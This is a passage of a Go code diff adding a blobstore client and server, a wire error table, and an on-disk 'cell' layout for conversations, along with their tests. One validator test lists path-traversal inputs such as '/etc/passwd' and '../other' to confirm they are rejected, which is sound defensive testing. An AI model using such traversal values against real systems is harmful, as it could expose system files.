return true +} + +func (r *Resuming) isLanded(id FrameID) bool { + r.mu.Lock() + defer r.mu.Unlock() + return r.landed[id] +} + +func (r *Resuming) markLanded(id FrameID) { + r.mu.Lock() + defer r.mu.Unlock() + r.landed[id] = true +} + +// Get implements Store. +func (r *Resuming) Get(ctx context.Context, rid string) ([]byte, error) { + return r.Inner.Get(ctx, rid) +} + +// GetMany implements Store. +func (r *Resuming) GetMany(ctx context.Context, rids []string) ([]Object, error) { + return r.Inner.GetMany(ctx, rids) +} + +// Has implements Store. +// GetFrame passes through: resuming only concerns puts. +func (r *Resuming) GetFrame(ctx context.Context, frame string) ([]byte, error) { + return r.Inner.GetFrame(ctx, frame) +} + +// Locate passes through: resuming only concerns puts. +func (r *Resuming) Locate(ctx context.Context, rids []string) (map[string]Location, error) { + return r.Inner.Locate(ctx, rids) +} + +func (r *Resuming) Has(ctx context.Context, rids []string) ([]bool, error) { + return r.Inner.Has(ctx, rids) +} diff --git a/internal/blobstore/resume_test.go b/internal/blobstore/resume_test.go new file mode 100644 index 0000000000..6aaabefd44 --- /dev/null +++ b/internal/blobstore/resume_test.go @@ -0,0 +1,160 @@ +package blobstore + +import ( + "context" + "errors" + "fmt" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// slowRelay is a relay whose puts can be held at the moment they are received, +// with no wall-clock guess about how slow a disk is. Every put blocks in +// authentication, which is after its body has been read and before the store +// sees it, until the test lets it go; every Has announces itself on hasSeen. +type slowRelay struct { + srv *httptest.Server + counts *Counters + putSeen chan struct{} + hasSeen chan struct{} + release chan struct{} +} + +func newSlowRelay(t *testing.T) *slowRelay { + t.Helper() + disk, err := NewDisk(t.TempDir()) + if err != nil { + t.Fatal(err) + } + g := &slowRelay{ + counts: &Counters{}, + putSeen: make(chan struct{}, 64), + hasSeen: make(chan struct{}, 64), + release: make(chan struct{}, 64), + } + store := Counting{Inner: disk, C: g.counts} + g.srv = httptest.NewServer(Handler(g.auth, func(string) (Store, error) { return store, nil })) + t.Cleanup(g.srv.Close) + return g +} + +func (g *slowRelay) auth(r *http.Request, _ []byte) (string, string, error) { + switch r.URL.Path { + case pathFrames: + g.putSeen <- struct{}{} + <-g.release + case pathHas: + g.hasSeen <- struct{}{} + } + return "id", "dev", nil +} + +// client dials the relay with a put deadline short enough to fire while the put +// is held, and a Has deadline of hasWithin. +func (g *slowRelay) client(hasWithin time.Duration) *HTTP { + c := NewHTTP(g.srv.URL, wireauth.Sign(func(*http.Request, []byte) {}), nil) + c.deadline = func(body int) time.Duration { + if body > 1000 { + return 30 * time.Millisecond + } + return hasWithin + } + return c +} + +// A large publish must send every frame's bytes exactly once. Each put is held +// until the client has given up on it and asked whether it landed; Has must +// wait for the held put and answer yes, so nothing is sent a second time, and a +// flush that restarts from the first frame skips what was delivered. +func TestSlowDiskPublishSendsEveryFrameOnce(t *testing.T) { + g := newSlowRelay(t) + client := NewResuming(g.client(5 * time.Second)) + frames := manyFrames(t, 4, 8) + var total int64 + for _, f := range frames { + total += int64(len(f)) + put := make(chan error, 1) + go func() { _, err := client.PutFrame(context.Background(), f); put <- err }() + <-g.putSeen + <-g.hasSeen // the client timed out and now asks whether the put landed + time.Sleep(20 * time.Millisecond) + g.release <- struct{}{} + if err := <-put; err != nil { + t.Fatalf("put of a held frame failed: %v", err) + } + } + for _, f := range frames { // the next flush starts again from the first frame + if _, err := client.PutFrame(context.Background(), f); err != nil { + t.Fatal(err) + } + } + if got := g.counts.BytesUp.Load(); got != total { + t.Fatalf("relay received %d bytes for frames totalling %d", got, total) + } +} + +// A put that never ends must not hang Has, and Has must not answer no for it: +// it fails, and the client learns nothing rather than something false. +func TestHasFailsRatherThanAnswerNoWhilePutIsStuck(t *testing.T) { + g := newSlowRelay(t) + c := g.client(50 * time.Millisecond) + frame := manyFrames(t, 1, 2)[0] + go func() { _, _ = c.PutFrame(context.Background(), frame) }() + <-g.putSeen + defer func() { g.release <- struct{}{} }() + + start := time.Now() + have, err := c.Has(context.Background(), []string{fmt.Sprintf("%064x", 1)}) + if !errors.Is(err, ErrUnreachable) { + t.Fatalf("Has = %v, %v; want ErrUnreachable while a put is stuck", have, err) + } + if time.Since(start) > 3*time.Second { + t.Fatal("Has hung on a stuck put") + } +} + +// manyFrames builds n frames of k sealed objects each, all distinct. +func manyFrames(t *testing.T, n, k int) [][]byte { + t.Helper() + var out [][]byte + for i := 0; i < n; i++ { + var objs []Object + for j := 0; j < k; j++ { + rid := fmt.Sprintf("%064x", i*1000+j+1) + objs = append(objs, sealedObject(rid, strings.Repeat("x", 512)+rid)) + } + f, err := Encode(strings.Repeat("0", 32), objs) + if err != nil { + t.Fatal(err) + } + out = append(out, f) + } + return out +} + +// A frame that was delivered is not sent again, and the deadline grows with the +// body so that a large frame is not cut off by the allowance a small one gets. +func TestResumingSkipsDeliveredFrame(t *testing.T) { + c := Counting{Inner: NewMemory(), C: &Counters{}} + r := NewResuming(c) + frame := manyFrames(t, 1, 3)[0] + for i := 0; i < 3; i++ { + if _, err := r.PutFrame(context.Background(), frame); err != nil { + t.Fatal(err) + } + } + if got := c.C.Puts.Load(); got != 1 { + t.Fatalf("store saw %d puts of one frame, want 1", got) + } +} + +func TestDeadlineGrowsWithBody(t *testing.T) { + if small, large := Deadline(1<<10), Deadline(MaxFrame); large <= small+time.Minute { + t.Fatalf("deadline for a max frame %v is not well above a small one's %v", large, small) + } +} diff --git a/internal/blobstore/run_test.go b/internal/blobstore/run_test.go new file mode 100644 index 0000000000..02df1b3e57 --- /dev/null +++ b/internal/blobstore/run_test.go @@ -0,0 +1,22 @@ +package blobstore_test + +import ( + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/blobstore/blobstoretest" +) + +func TestMemoryConforms(t *testing.T) { + blobstoretest.Run(t, func(*testing.T) blobstore.Store { return blobstore.NewMemory() }) +} + +func TestDiskConforms(t *testing.T) { + blobstoretest.Run(t, func(t *testing.T) blobstore.Store { + d, err := blobstore.NewDisk(t.TempDir()) + if err != nil { + t.Fatal(err) + } + return d + }) +} diff --git a/internal/blobstore/store.go b/internal/blobstore/store.go new file mode 100644 index 0000000000..bee53b15e3 --- /dev/null +++ b/internal/blobstore/store.go @@ -0,0 +1,135 @@ +package blobstore + +import ( + "context" + "errors" + "fmt" +) + +// Store holds encrypted objects, addressed only by content (L5). It never sees +// plaintext (L6). Implementations: Memory (fake), Disk, HTTP, S3. +type Store interface { + // PutFrame stores every object in one frame. It validates the frame with + // Decode first. Idempotent: an object already stored with identical bytes + // is not an error; the same rid with different bytes is ErrConflict. + PutFrame(ctx context.Context, frame []byte) (FrameID, error) + // Get answers one object's bytes by remote id. ErrNotFound if absent. + Get(ctx context.Context, rid string) ([]byte, error) + // Has answers, per rid, whether the store holds it. len(rids) <= MaxHas. + Has(ctx context.Context, rids []string) ([]bool, error) + // GetMany answers the objects of the longest prefix of rids that fits in + // one frame's worth of bytes (TargetFrame), in request order and at least + // one, so a taker that wants thousands of objects asks once per frame and + // not once per object. It stops early, with what it has, at the first + // object that is absent; ErrNotFound only when rids[0] itself is. The + // caller asks again for the rest. len(rids) <= MaxGetMany. + GetMany(ctx context.Context, rids []string) ([]Object, error) + // GetFrame answers one whole frame by its id. ErrNotFound when absent; + // ErrBadRID when the id is not a frame id, so a hostile one cannot name a path. + GetFrame(ctx context.Context, frame string) ([]byte, error) + // Locate answers, per rid, where the held object lies: which frame, at + // which offset, of which length. A rid the store does not hold is absent + // from the map, not an error, so one call answers a whole plan. The + // offsets count from the start of the frame, the way a pointer does. + // len(rids) <= MaxHas. + Locate(ctx context.Context, rids []string) (map[string]Location, error) +} + +// Location is where one stored object lies inside the frame that holds it. +type Location struct { + Frame FrameID `json:"frame"` + Off uint64 `json:"off"` + Len uint32 `json:"len"` +} + +// FrameID is the lowercase hex SHA-256 of a whole frame. +type FrameID = string + +const ( + // MaxHas bounds one Has request so a caller cannot make a store scan without limit. + MaxHas = 1000 + // MaxGetMany bounds one GetMany request. It is sized so that the ids of a + // request (about 16 KB) stay small beside the frame that answers it. + MaxGetMany = 256 + // MaxFrame bounds a whole frame in bytes. + MaxFrame = 16 << 20 + // MaxHeader bounds the JSON header of a frame in bytes. + MaxHeader = 1 << 20 + // TargetFrame is the size at which writers flush a frame. + TargetFrame = 1 << 20 + // BulkFrame is the size a writer closes a frame at (contract §22.6): one + // frame covers this many bytes of one save, so a bulk save costs a few + // large frames and an incremental save still writes one small one. + BulkFrame = 8 << 20 +) + +var ( + ErrNotFound = errors.New("blobstore: not found") + ErrBadFrame = errors.New("blobstore: bad frame") + ErrBadRID = errors.New("blobstore: bad remote id") + ErrConflict = errors.New("blobstore: rid exists with different bytes") + ErrUnreachable = errors.New("blobstore: unreachable") // transport; callers degrade + ErrFull = errors.New("blobstore: full") // quota or disk; retry later + ErrTooMany = errors.New("blobstore: too many rids") + ErrDamaged = errors.New("blobstore: stored data is damaged") +) + +// ValidRID reports whether s is 64 lowercase hex characters. +func ValidRID(s string) bool { return isLowerHex(s, 64) } + +// isLowerHex reports whether s is exactly n lowercase hex characters. +func isLowerHex(s string, n int) bool { + if len(s) != n { + return false + } + for i := 0; i < len(s); i++ { + if c := s[i]; (c < '0' || c > '9') && (c < 'a' || c > 'f') { + return false + } + } + return true +} + +// checkHas is the one place the Has argument rules live, so every +// implementation refuses the same requests the same way: too many ids is a +// caller bug (ErrTooMany), and an id that is not a remote id could never be stored. +func checkHas(rids []string) error { + if len(rids) > MaxHas { + return fmt.Errorf("%w: %d ids, the limit is %d", ErrTooMany, len(rids), MaxHas) + } + for _, rid := range rids { + if !ValidRID(rid) { + return fmt.Errorf("%w: %q", ErrBadRID, rid) + } + } + return nil +} + +// checkGet refuses an id that could never have been stored before any lookup +// touches memory or the disk with it; on Disk the id becomes a path, so this +// is also what keeps a hostile id from naming a file outside the store. +func checkGet(rid string) error { + if !ValidRID(rid) { + return fmt.Errorf("%w: %q", ErrBadRID, rid) + } + return nil +} + +// checkMany is checkHas for GetMany: the same rules at GetMany's own bound, and no id twice, +// because the answer is a frame and a frame cannot hold one object twice. +func checkMany(rids []string) error { + if len(rids) > MaxGetMany { + return fmt.Errorf("%w: %d ids, the limit is %d", ErrTooMany, len(rids), MaxGetMany) + } + seen := make(map[string]bool, len(rids)) + for _, rid := range rids { + if err := checkGet(rid); err != nil { + return err + } + if seen[rid] { + return fmt.Errorf("%w: %q asked for twice", ErrBadRID, rid) + } + seen[rid] = true + } + return nil +} diff --git a/internal/blobstore/wire.go b/internal/blobstore/wire.go new file mode 100644 index 0000000000..a5962b049c --- /dev/null +++ b/internal/blobstore/wire.go @@ -0,0 +1,154 @@ +package blobstore + +import ( + "encoding/json" + "errors" + "net/http" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// The wire vocabulary is one table read by both ends, so a code the handler +// can send is a code the client can read: adding an error means adding a row, +// and the two sides cannot drift apart. +var wireErrors = []struct { + code string + status int + err error +}{ + {"bad_frame", http.StatusBadRequest, ErrBadFrame}, + {"bad_rid", http.StatusBadRequest, ErrBadRID}, + {"too_many", http.StatusBadRequest, ErrTooMany}, + {"not_found", http.StatusNotFound, ErrNotFound}, + {"range_not_satisfiable", http.StatusRequestedRangeNotSatisfiable, errRange}, + {"conflict", http.StatusConflict, ErrConflict}, + {"full", http.StatusInsufficientStorage, ErrFull}, + {"damaged", http.StatusInternalServerError, ErrDamaged}, + {"unreachable", http.StatusServiceUnavailable, ErrUnreachable}, + {"rate_limited", http.StatusTooManyRequests, wireauth.ErrRateLimited}, + {"too_many_identities", http.StatusTooManyRequests, wireauth.ErrTooManyIdentities}, + {"skew", http.StatusUnauthorized, wireauth.ErrSkew}, + {"revoked", http.StatusUnauthorized, wireauth.ErrRevoked}, + {"rotated", http.StatusGone, wireauth.ErrRotated}, + {"gone", http.StatusGone, wireauth.ErrGone}, + {"unauthorized", http.StatusUnauthorized, wireauth.ErrUnauthorized}, + // Hosted deployment brakes reuse the client's existing retry and full handling. + {"relay_admission_full", http.StatusTooManyRequests, wireauth.ErrRateLimited}, + {"relay_storage_full", http.StatusInsufficientStorage, ErrFull}, +} + +// codeOf finds the row for err; ok is false for an error the wire has no name for. +func codeOf(err error) (code string, status int, ok bool) { + for _, row := range wireErrors { + if errors.Is(err, row.err) { + return row.code, row.status, true + } + } + return "", 0, false +} + +// errOf is the inverse of codeOf: the sentinel a code names, or nil. +func errOf(code string) error { + for _, row := range wireErrors { + if row.code == code { + return row.err + } + } + return nil +} + +// errBody is the JSON every failure carries. +type errBody struct { + Err string `json:"err"` + // LimitBytes is the byte ceiling a full relay names; absent when it has none. + LimitBytes int64 `json:"limit_bytes,omitempty"` +} + +// ceiling is a refusal together with the byte ceiling the relay named. +type ceiling struct { + err error + bytes int64 +} + +func (c ceiling) Error() string { return c.err.Error() } +func (c ceiling) Unwrap() error { return c.err } + +// Capped attaches a byte ceiling to err. A store that has a cap returns its ErrFull this way and the +// handler tells the client; the client attaches the ceiling it read. A ceiling of zero means the relay +// named none, and err is left alone. +func Capped(err error, bytes int64) error { + if bytes <= 0 { + return err + } + return ceiling{err: err, bytes: bytes} +} + +// LimitOf is the byte ceiling the relay named with err, or zero when it named none. +func LimitOf(err error) int64 { + var c ceiling + if errors.As(err, &c) { + return c.bytes + } + return 0 +} + +// statsBody is the answer to GET /v1/store/stats. +type statsBody struct { + Puts int64 `json:"puts"` + Gets int64 `json:"gets"` + Has int64 `json:"has"` + BytesIn int64 `json:"bytes_in"` + BytesOut int64 `json:"bytes_out"` +} + +type putAnswer struct { + Frame string `json:"frame"` + Objects int `json:"objects"` +} + +type hasRequest struct { + Rids []string `json:"rids"` +} + +// getManyRequest names the objects a GetMany asks for; the answer is a frame. +type getManyRequest = hasRequest + +type hasAnswer struct { + Have []bool `json:"have"` +} + +// locateRequest names the rids a Locate asks about; locateAnswer answers where +// each held one lies, keyed by rid. +type locateRequest = hasRequest + +type locateAnswer struct { + At map[string]Location `json:"at"` +} + +const ( + pathFrames = "/v1/store/frames" + pathObjects = "/v1/store/objects/" + pathMany = "/v1/store/objects" + pathHas = "/v1/store/has" + pathLocate = "/v1/store/locate" + pathStats = "/v1/store/stats" + + // maxSmallBody bounds every request body that is not a frame: a Has + // request of MaxHas ids is about 70 KB, so a megabyte is generous. + maxSmallBody = 1 << 20 + + // nowHeader carries the server's clock, in unix milliseconds, on every answer. + nowHeader = "Codeaf-Now" +) + +// manyKeyID is the cell key id of the frame that answers a GetMany. A frame +// needs one, and this answer belongs to no cell, so it is all zeros. +const manyKeyID = "00000000000000000000000000000000" + +func mustJSON(v any) []byte { + b, err := json.Marshal(v) + if err != nil { + panic(err) // the wire types above cannot fail to marshal + } + return b +} diff --git a/internal/cas/reference.go b/internal/cas/reference.go index 7a45e30956..6aee3270a3 100644 --- a/internal/cas/reference.go +++ b/internal/cas/reference.go @@ -54,7 +54,13 @@ func ParseReference(reference string) (ref Ref, originalPath string, ok bool) { if !found || strings.TrimSpace(path) == "" { return Ref(digest), "", true } - return Ref(digest), filepath.FromSlash("/" + path), true + // K3/K4: the source machine owns this path's grammar. Prefixing a drive + // with a slash breaks it, and converting Unix origins to backslashes loses + // their recorded spelling when a chat arrives on Windows. + if len(path) >= 3 && path[1] == ':' && path[2] == '/' { + return Ref(digest), path, true + } + return Ref(digest), "/" + path, true } // SourcePath is what a reader that only understands paths should look at: the diff --git a/internal/cas/reference_test.go b/internal/cas/reference_test.go new file mode 100644 index 0000000000..a50aaafb74 --- /dev/null +++ b/internal/cas/reference_test.go @@ -0,0 +1,16 @@ +package cas + +import "testing" + +// K3/K4 keep recorded source paths in their source grammar, independent of +// the computer that reads the attachment after a move. +func TestK3ReferenceKeepsSourcePathGrammar(t *testing.T) { + ref := DigestBytes([]byte("carried bytes")) + for _, source := range []string{"/Users/me/a.pdf", "C:/Users/me/a.pdf", "//server/share/a.pdf"} { + encoded := Reference(ref, source) + gotRef, got, ok := ParseReference(encoded) + if !ok || gotRef != ref || got != source { + t.Fatalf("round trip %q = %q, %q, %v", source, gotRef, got, ok) + } + } +} diff --git a/internal/cell/cell.go b/internal/cell/cell.go new file mode 100644 index 0000000000..d17eddaf33 --- /dev/null +++ b/internal/cell/cell.go @@ -0,0 +1,185 @@ +// Package cell is the on-disk layout of a cell: one folder per conversation +// under /v3/cells//, holding the cell's own state in .cell/: +// +// .cell/transcript.jsonl the journal +// .cell/env/ environment state +// .cell/meta.json Meta (SCHEMAS.md §4) +// +// Every path this package persists is cell-relative; absolute paths exist +// only transiently, as the answer to Cell.Path. +// +// New chats are cells when a compatible engine is available and while [Available] says the +// platform and engine can carry them. v3MintSession in +// cmd/codeaf/chatv3_layout.go calls [CreateIn] on the project bucket, and +// internal/session's layout.go recognises a folder holding .cell/ and keeps +// the transcript there. Older folders keep their original layout when opened (C24); +// only conversations started as cells participate in moving chats. +package cell + +import ( + "bytes" + "encoding/json" + "errors" + "fmt" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "os" + "path/filepath" + "strings" + "time" +) + +// Cell-relative names. +const ( + StateDir = ".cell" + TranscriptPath = StateDir + "/transcript.jsonl" + EnvPath = StateDir + "/env" + MetaPath = StateDir + "/meta.json" + // TreesDir is the folder of a session where its task working copies live, + // and CarriedTreesPath is where a seal carries their uncommitted files. + TreesDir = "trees" + CarriedTreesPath = StateDir + "/" + TreesDir + + schemaV = 1 +) + +// Options describe a new cell. KeyID is generated when empty. +type Options struct { + Class Class + KeyID string + Base *Base +} + +// Cell is a handle on one cell folder. +type Cell struct { + ID string + Root string + meta Meta +} + +// Dir is the directory that holds every cell under a codeaf home. +func Dir(home string) string { return filepath.Join(home, "v3", "cells") } + +// Create makes a new cell folder and writes its meta.json. +func Create(home string, opts Options) (Cell, error) { return CreateIn(Dir(home), opts) } + +// CreateIn makes a new cell folder directly under parent. A caller that +// already groups its conversations in a directory (a project bucket) uses it +// so the cell is found where that grouping looks. +func CreateIn(parent string, opts Options) (Cell, error) { + m, err := opts.meta() + if err != nil { + return Cell{}, err + } + id, err := NewID(time.Now()) + if err != nil { + return Cell{}, err + } + c := Cell{ID: id, Root: filepath.Join(parent, id), meta: m} + if err := os.MkdirAll(c.Root+"/"+EnvPath, 0o700); err != nil { + return Cell{}, fmt.Errorf("create cell: %w", err) + } + if err := c.WriteMeta(m); err != nil { + return Cell{}, err + } + return c, nil +} + +// Open loads an existing cell. +func Open(home, id string) (Cell, error) { + if !ValidID(id) { + return Cell{}, fmt.Errorf("open cell: invalid id %q", id) + } + return OpenAt(filepath.Join(Dir(home), id), id) +} + +// OpenAt loads the cell whose folder is root, wherever it lives. +func OpenAt(root, id string) (Cell, error) { + c := Cell{ID: id, Root: root} + raw, err := os.ReadFile(c.abs(MetaPath)) + if err != nil { + return Cell{}, fmt.Errorf("open cell %s: %w", id, err) + } + if err := json.Unmarshal(raw, &c.meta); err != nil { + return Cell{}, fmt.Errorf("open cell %s: %w", id, err) + } + if err := c.meta.validate(); err != nil { + return Cell{}, fmt.Errorf("open cell %s: %w", id, err) + } + return c, nil +} + +// Meta is the cell's metadata as last written or read. +func (c Cell) Meta() Meta { return c.meta } + +// Path resolves a cell-relative path to a location inside the cell. Absolute +// and escaping paths are rejected. +func (c Cell) Path(rel string) (string, error) { + if rel == "" || filepath.IsAbs(rel) || strings.HasPrefix(rel, "/") { + return "", fmt.Errorf("cell path %q: must be relative", rel) + } + clean := filepath.Clean(rel) + if clean == ".." || strings.HasPrefix(clean, ".."+string(filepath.Separator)) { + return "", fmt.Errorf("cell path %q: escapes the cell", rel) + } + return c.abs(clean), nil +} + +func (c Cell) abs(rel string) string { return filepath.Join(c.Root, filepath.FromSlash(rel)) } + +// WriteMeta replaces meta.json atomically (temp file, fsync, rename). +func (c *Cell) WriteMeta(m Meta) error { + if err := m.validate(); err != nil { + return err + } + raw, err := encodeMeta(m) + if err != nil { + return err + } + if err := writeAtomic(c.abs(MetaPath), raw); err != nil { + return fmt.Errorf("write cell meta: %w", err) + } + c.meta = m + return nil +} + +func encodeMeta(m Meta) ([]byte, error) { return json.MarshalIndent(m, "", " ") } + +// RestoreMeta makes meta.json on disk equal the meta this handle holds, and +// writes nothing when it already does. The harness calls it before each seal +// so a tool that edited the file cannot reach a sealed tree (L10). +func (c *Cell) RestoreMeta() error { + raw, err := encodeMeta(c.meta) + if err != nil { + return err + } + if cur, err := os.ReadFile(c.abs(MetaPath)); err == nil && bytes.Equal(cur, raw) { + return nil + } + return c.WriteMeta(c.meta) +} + +func writeAtomic(path string, data []byte) (err error) { + tmp, err := os.CreateTemp(filepath.Dir(path), ".meta-*.tmp") + if err != nil { + return err + } + defer func() { + if err != nil { + _ = os.Remove(tmp.Name()) + } + }() + if _, err = tmp.Write(data); err != nil { + _ = tmp.Close() + return err + } + if err = tmp.Sync(); err != nil { + _ = tmp.Close() + return err + } + if err = tmp.Close(); err != nil { + return err + } + return fsreplace.Rename(tmp.Name(), path) +} + +var errBadMeta = errors.New("invalid cell meta") diff --git a/internal/cell/cell_test.go b/internal/cell/cell_test.go new file mode 100644 index 0000000000..7c88d1c7c6 --- /dev/null +++ b/internal/cell/cell_test.go @@ -0,0 +1,126 @@ +package cell + +import ( + "os" + "path/filepath" + "regexp" + "strings" + "testing" + "time" +) + +func TestCreateOpenRoundTrip(t *testing.T) { + home := t.TempDir() + base := &Base{Remote: "git@example.com:a/b.git", SHA: "6e1f0c2a"} + c, err := Create(home, Options{Class: Sandboxed, Base: base}) + if err != nil { + t.Fatal(err) + } + if !ValidID(c.ID) { + t.Fatalf("bad id %q", c.ID) + } + got, err := Open(home, c.ID) + if err != nil { + t.Fatal(err) + } + if got.Meta().Class != Sandboxed || *got.Meta().Base != *base || got.Meta().V != 1 { + t.Fatalf("meta = %+v", got.Meta()) + } + for _, rel := range []string{EnvPath, MetaPath} { + p, _ := got.Path(rel) + if _, err := os.Stat(p); err != nil { + t.Errorf("%s: %v", rel, err) + } + } +} + +func TestPathRejects(t *testing.T) { + c := Cell{Root: "/cells/x"} + for _, tc := range []struct { + rel string + ok bool + }{ + {".cell/meta.json", true}, + {"a/../b", true}, + {"", false}, + {"/etc/passwd", false}, + {"..", false}, + {"../other", false}, + {"a/../../other", false}, + } { + _, err := c.Path(tc.rel) + if (err == nil) != tc.ok { + t.Errorf("Path(%q) err=%v, want ok=%v", tc.rel, err, tc.ok) + } + } +} + +func TestOpenRejectsBadID(t *testing.T) { + for _, id := range []string{"", "../x", "short", strings.Repeat("Z", 26)} { + if _, err := Open(t.TempDir(), id); err == nil { + t.Errorf("Open(%q) succeeded", id) + } + } +} + +func TestCreateRejectsBadMeta(t *testing.T) { + for _, o := range []Options{{}, {Class: "weird"}, {Class: FilesOnly, KeyID: "nothex"}} { + if _, err := Create(t.TempDir(), o); err == nil { + t.Errorf("Create(%+v) succeeded", o) + } + } +} + +func TestWriteMetaAtomic(t *testing.T) { + home := t.TempDir() + c, err := Create(home, Options{Class: FilesOnly}) + if err != nil { + t.Fatal(err) + } + m := c.Meta() + m.Class = HostBound + if err := c.WriteMeta(m); err != nil { + t.Fatal(err) + } + if err := c.WriteMeta(Meta{}); err == nil { + t.Fatal("invalid meta written") + } + got, _ := Open(home, c.ID) + if got.Meta().Class != HostBound { + t.Fatalf("class = %s", got.Meta().Class) + } + dir := filepath.Dir(got.abs(MetaPath)) + entries, _ := os.ReadDir(dir) + for _, e := range entries { + if strings.HasSuffix(e.Name(), ".tmp") { + t.Errorf("leftover %s", e.Name()) + } + } +} + +func TestMetaHasNoAbsolutePaths(t *testing.T) { + home := t.TempDir() + c, err := Create(home, Options{Class: FilesOnly}) + if err != nil { + t.Fatal(err) + } + raw, _ := os.ReadFile(c.abs(MetaPath)) + if strings.Contains(string(raw), home) || regexp.MustCompile(`"/[^"]`).Match(raw) { + t.Fatalf("absolute path in meta: %s", raw) + } +} + +func TestIDsSortByTime(t *testing.T) { + a, _ := NewID(time.UnixMilli(1_000_000)) + b, _ := NewID(time.UnixMilli(2_000_000)) + if !ValidID(a) || !ValidID(b) || a >= b { + t.Fatalf("ids %s %s", a, b) + } +} + +// TestEnabled proves C27.1 and K1: every shipped platform needs no opt-in. +func TestEnabled(t *testing.T) { + if got, want := Enabled(), true; got != want { + t.Fatalf("Enabled() = %v, want %v", got, want) + } +} diff --git a/internal/cell/celltest/celltest.go b/internal/cell/celltest/celltest.go new file mode 100644 index 0000000000..e60ce7a535 --- /dev/null +++ b/internal/cell/celltest/celltest.go @@ -0,0 +1,26 @@ +// Package celltest lets tests declare whether their door needs a real engine +// or only the availability of cells, independent of the build channel. +package celltest + +import ( + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/furrowbin" +) + +// Available declares engine availability for wiring tests without running furrow. +func Available(t *testing.T) { + t.Helper() + t.Cleanup(cell.UseAvailabilityInTests(true)) +} + +// RequireEngine leaves acceptance visible when the configured or embedded +// binary is missing or lacks the exchange contract. +func RequireEngine(t *testing.T) { + t.Helper() + if !furrowbin.CellsAvailable() { + t.Skipf("no engine binary: %s", furrowbin.CellsUnavailable) + } + t.Cleanup(cell.UseAvailabilityInTests(true)) +} diff --git a/internal/cell/droppings.go b/internal/cell/droppings.go new file mode 100644 index 0000000000..075665e952 --- /dev/null +++ b/internal/cell/droppings.go @@ -0,0 +1,35 @@ +package cell + +import ( + "path/filepath" + "strings" +) + +// TaskDropping is the one directory under a task's working copy that is the +// harness's and never the person's work: job logs, saved pictures a session +// keeps for itself, anything this program leaves behind while the task works. +// It lives here, below every package that sorts a copy's files into the +// person's and ours, because each of them has to agree about it and a +// disagreement would carry a log to another computer as a change the person +// never made. +const TaskDropping = ".codeaf" + +// legacyTaskDropping is the folder an older build kept the same machinery in. +const legacyTaskDropping = ".aforge-v3" // legacy-name + +// TaskDroppings is the one list of repository-local task machinery a reader, +// cleaner, carrier or index builder must recognise. Writes keep using +// [TaskDropping] because live worktree registrations cannot be moved. +func TaskDroppings() []string { return []string{TaskDropping, legacyTaskDropping} } + +// IsTaskDropping reports whether path, relative to a task's working copy, is a +// dropping folder or anything inside one. +func IsTaskDropping(path string) bool { + clean := filepath.ToSlash(filepath.Clean(strings.TrimSpace(path))) + for _, name := range TaskDroppings() { + if clean == name || strings.HasPrefix(clean, name+"/") { + return true + } + } + return false +} diff --git a/internal/cell/enabled.go b/internal/cell/enabled.go new file mode 100644 index 0000000000..feaad4373b --- /dev/null +++ b/internal/cell/enabled.go @@ -0,0 +1,41 @@ +package cell + +import ( + "github.com/Agent-Field/codeaf/internal/furrowbin" +) + +// Enabled reports support for moving chats on every shipped platform. +// Startup also asks Available before exposing doors that need the engine. +func Enabled() bool { return true } + +// DisabledReason remains the cheap menu door; only the engine probe can make +// moving chats unavailable now that Windows has a native engine (K1). +func DisabledReason() string { return "" } + +// UnavailableReason is asked at startup and at explicit command doors, never +// during paint. Engine detection is cached for the life of this process. +func UnavailableReason() string { + if reason := DisabledReason(); reason != "" { + return reason + } + if !engineAvailable() { + return furrowbin.CellsUnavailable + } + return "" +} + +// Available adds the engine contract to platform support before any cell, +// identity or relay client is opened. +func Available() bool { return UnavailableReason() == "" } + +// engineAvailable is the capability measurement, separate from platform support so a +// test of wiring can declare availability without staging or starting furrow. +var engineAvailable = furrowbin.CellsAvailable + +// UseAvailabilityInTests replaces only the engine answer and restores it when +// the caller is done. Production retains the cached engine contract probe. +func UseAvailabilityInTests(available bool) func() { + previous := engineAvailable + engineAvailable = func() bool { return available } + return func() { engineAvailable = previous } +} diff --git a/internal/cell/enabled_test.go b/internal/cell/enabled_test.go new file mode 100644 index 0000000000..b013ab2f09 --- /dev/null +++ b/internal/cell/enabled_test.go @@ -0,0 +1,35 @@ +package cell + +import ( + "testing" + + "github.com/Agent-Field/codeaf/internal/furrowbin" +) + +// TestC27EnvironmentCannotDisableMovingChats proves C27.1 and C27.2 through +// the real availability door, including former overrides and invalid values. +func TestC27EnvironmentCannotDisableMovingChats(t *testing.T) { + t.Cleanup(UseAvailabilityInTests(true)) + for _, value := range []string{"", "0", "1", "true", "2", " 1", "off"} { + t.Run("env="+value, func(t *testing.T) { + t.Setenv("CODEAF_CELLS", value) + want := "" + if got := UnavailableReason(); got != want { + t.Fatalf("UnavailableReason() = %q, want %q", got, want) + } + if Available() != (want == "") { + t.Fatal("availability disagrees with its reason") + } + }) + } +} + +// TestC27MissingEngineStaysAbsent proves C27.3: removing the switch cannot +// advertise a capability when the runtime engine cannot provide it. +func TestC27MissingEngineStaysAbsent(t *testing.T) { + t.Cleanup(UseAvailabilityInTests(false)) + want := furrowbin.CellsUnavailable + if Available() || UnavailableReason() != want { + t.Fatalf("missing engine: %q", UnavailableReason()) + } +} diff --git a/internal/cell/enabled_windows_test.go b/internal/cell/enabled_windows_test.go new file mode 100644 index 0000000000..e623734d2f --- /dev/null +++ b/internal/cell/enabled_windows_test.go @@ -0,0 +1,16 @@ +package cell + +import "testing" + +// TestK1WindowsMovingChatsNeedOnlyTheEngine proves K1: native Windows offers +// the same capability as Unix and keeps it absent when the engine is missing. +func TestK1WindowsMovingChatsNeedOnlyTheEngine(t *testing.T) { + t.Cleanup(UseAvailabilityInTests(true)) + if !Enabled() || !Available() { + t.Fatal("Windows omitted moving chats with an available engine") + } + engineAvailable = func() bool { return false } + if Available() || UnavailableReason() == "" { + t.Fatal("Windows offered moving chats without an engine") + } +} diff --git a/internal/cell/id.go b/internal/cell/id.go new file mode 100644 index 0000000000..a676b8b67d --- /dev/null +++ b/internal/cell/id.go @@ -0,0 +1,63 @@ +package cell + +import ( + "crypto/rand" + "encoding/hex" + "fmt" + "regexp" + "time" +) + +// crockford is the ULID alphabet: 